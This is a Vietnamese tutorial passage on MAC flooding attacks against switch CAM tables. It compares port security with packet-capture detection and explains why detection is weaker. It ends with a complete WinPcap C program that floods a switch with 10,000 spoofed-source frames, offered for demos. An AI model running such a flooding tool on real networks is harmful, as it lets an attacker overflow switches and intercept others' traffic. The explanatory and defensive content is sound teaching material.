Hình 1.10: Bảng CAM sau lần tấn công thứ hai.

Ta có thể nhận thấy rằng: bảng CAM chỉ chứa 3 ánh xạ nhận được từ cổng fa
0/1 : địa chỉ MAC của máy tấn công và hai địa chỉ giả mạo do phần mềm phát ra.

4.Nhận xét, đánh giá kết quả:
Theo kết quả ở trên, có thể khẳng định việc cấu hình port security là phương pháp phòng chống tấn công MAC flooding hiệu quả nhất.

Một câu hỏi đặt ra là nếu switch không hỗ trợ tính năng port security thì sao? Một biện pháp có thể được dùng để phòng chống là sử dụng phần mềm phát hiện gói tin giả mạo.

Như ta đã thấy, sau khi bảng CAM của switch bị tràn, mọi gói tin đến switch đều bị gửi ra các cổng và việc tấn công này cần phải tiến hành liên tục để đảm bảo rằng bảng CAM luôn bị tràn. Do đó trong khoảng thời gian aging (khoảng thời gian để switch xóa một ánh xạ ra khỏi bảng nếu không nhận được thông tin trao đổi trên cổng); kẻ tấn công phải tiến hành gửi đi ít nhất 2 lần số bản tin giả mạo. Ta có thể dùng một máy tính gắn vào một cổng trên switch để bắt các gói tin giả mạo này (do chúng bị flood ra tất cả các cổng). Từ các gói tin bị bắt được, phần mềm sẽ đọc ra địa chỉ MAC nguồn của gói tin. Nếu trong một khoảng thời gian nhất định (bằng khoảng thời gian aging của switch) số địa chỉ MAC nguồn là quá lớn, phần mềm sẽ ghi lại kết quả và báo cho người quản trị biết rằng đã có tấn công trong mạng.

Tuy nhiên phương pháp này lại có rất nhiều nhược điểm:
 Nhược điểm thứ nhất: do phải xử lí quá nhiều gói tin trong một khoảng thời gian ngắn, hiệu năng của máy sẽ giảm. Số lượng gói tin ở đây không chỉ là các bản tin giả mạo mà tất cả các bản tin khác được gửi đến switch sau khi switch đã bị tấn công.
 Nhược điểm thứ hai: như trong hình 1.6; khi xem nội dung bảng CAM của switch, ta có thể thấy rằng toàn bộ địa chỉ MAC giả mạo đều nằm trong VLAN 1 (khái niệm VLAN xin tham khảo trong chương 4). Điều đó có nghĩa rằng, các bản tin giả mạo sẽ chỉ được switch gửi ra tất cả các cổng thuộc về VLAN đó thôi. Như vậy, nếu kẻ tấn công khác VLAN với máy dùng để phát hiện giả mạo thì việc tấn công vẫn không bị phát hiện.
 Nhược điểm thứ ba: khi một switch bị tràn bảng CAM thì switch bên cạnh nếu có cấu hình VLAN cùng với VLAN của kẻ tấn công thì cũng bị tràn bảng. Do đó tất cả các switch trong mạng nếu có cùng VLAN và có liên kết trunk với nhau thì bảng CAM đều bị tràn.

Hình 1.11: Hậu quả dây chuyền của tấn công macflood

Kết quả là nếu máy phát hiện có gói tin giả mạo trên một switch thì cũng chưa thể tìm ra ngay được thủ phạm bởi vì máy của kẻ tấn công có thể nằm trên một switch khác. Việc dò tìm có thể tiến hành nếu người quản trị vào từng switch; dùng lệnh show cam- address-table để biết được gói tin giả mạo nhận được trên cổng nào. Nếu cổng nhận được nối đến switch khác thì lại phải sang switch đó để dò tiếp. Nếu cổng nhận được là một PC thì đó chính là máy của kẻ tấn công. Việc dò tìm này sẽ khá mất công nếu số lượng switch trong mạng là lớn.Như vậy so với việc phòng chống bằng port security thì phương pháp này kém hiệu quả hơn rất nhiều.

5.Code macflood:
Đồng chí nào muốn demo thì cài visual studio và down winpcap về nhé.

Code:
#include <stdlib.h>
#include <stdio.h>

#include <pcap.h>

int main(int argc, char **argv)
{
int i;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];

/* Check the validity of the command line */
if (argc != 2)
{
printf(“usage: %s interface”, argv[0]);
return 1;
}

/* Open the adapter */
if ((fp = pcap_open_live(argv[1], // name of the device
65536, // portion of the packet to capture. It doesn’t matter in this case
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,”\nUnable to open the adapter. %s is not supported by WinPcap\n”, argv[1]);
return 2;
}

/* Supposing to be on ethernet, set mac destination to 1:1:1:1:1:1 */
packet[0]=1;
packet[1]=1;
packet[2]=1;
packet[3]=1;
packet[4]=1;
packet[5]=1;

//cho dia chi sau bang 0 het
packet[6]=0;
packet[7]=0;
packet[8]=0;
packet[9]=0;
packet[10]=0;
packet[11]=0;

for (i=1;i<=10000; i++)
{
int j=11;
int m=i;

while (m>0)
{
packet[j]=m%16;
m=m/16;
j–;

}

/* Fill the rest of the packet */
for(j=12;j<60;j++)
{
packet[j]=i%256;
}

/* Send down the packet */
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
60 // size
) != 0)
{
fprintf(stderr,”\nError sending the packet: \n”, pcap_geterr(fp));
return 3;
}

}
pcap_close(fp);
return 0;
}

Bài  Viết của Nguyễn Việt Anh – Anhnv